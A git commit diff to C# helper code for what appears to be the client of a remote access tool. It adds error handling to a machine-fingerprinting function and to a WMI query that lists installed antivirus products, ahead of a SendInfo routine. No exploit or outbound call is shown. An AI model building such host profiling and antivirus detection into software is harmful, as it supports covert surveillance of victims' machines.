Fixed windows server errors

This commit is contained in:
NYAN CAT 2019-09-15 22:13:01 +03:00
parent b5665cc192
commit 2b248abf05

View File

@ -22,6 +22,8 @@ namespace Client.Helper
public static PerformanceCounter TheMemCounter { get; } = new PerformanceCounter("Memory", "% Committed Bytes In Use"); public static PerformanceCounter TheMemCounter { get; } = new PerformanceCounter("Memory", "% Committed Bytes In Use");
public static string HWID() public static string HWID()
{
try
{ {
StringBuilder sb = new StringBuilder(); StringBuilder sb = new StringBuilder();
sb.Append(Environment.ProcessorCount); sb.Append(Environment.ProcessorCount);
@ -30,6 +32,12 @@ namespace Client.Helper
sb.Append(Environment.OSVersion); sb.Append(Environment.OSVersion);
sb.Append(new DriveInfo(Path.GetPathRoot(Environment.SystemDirectory)).TotalSize); sb.Append(new DriveInfo(Path.GetPathRoot(Environment.SystemDirectory)).TotalSize);
return GetHash(sb.ToString()); return GetHash(sb.ToString());
}
catch
{
return "Err HWID";
}
} }
public static string GetHash(string strToHash) public static string GetHash(string strToHash)
@ -77,6 +85,8 @@ namespace Client.Helper
} }
public static string Antivirus() public static string Antivirus()
{
try
{ {
using (ManagementObjectSearcher antiVirusSearch = new ManagementObjectSearcher(@"\\" + Environment.MachineName + @"\root\SecurityCenter2", "Select * from AntivirusProduct")) using (ManagementObjectSearcher antiVirusSearch = new ManagementObjectSearcher(@"\\" + Environment.MachineName + @"\root\SecurityCenter2", "Select * from AntivirusProduct"))
{ {
@ -85,10 +95,15 @@ namespace Client.Helper
{ {
av.Add(searchResult["displayName"].ToString()); av.Add(searchResult["displayName"].ToString());
} }
if (av.Count == 0) return "None"; if (av.Count == 0) return "N/A";
return string.Join(", ", av.ToArray()); return string.Join(", ", av.ToArray());
} }
} }
catch
{
return "N/A";
}
}
public static byte[] SendInfo() public static byte[] SendInfo()
{ {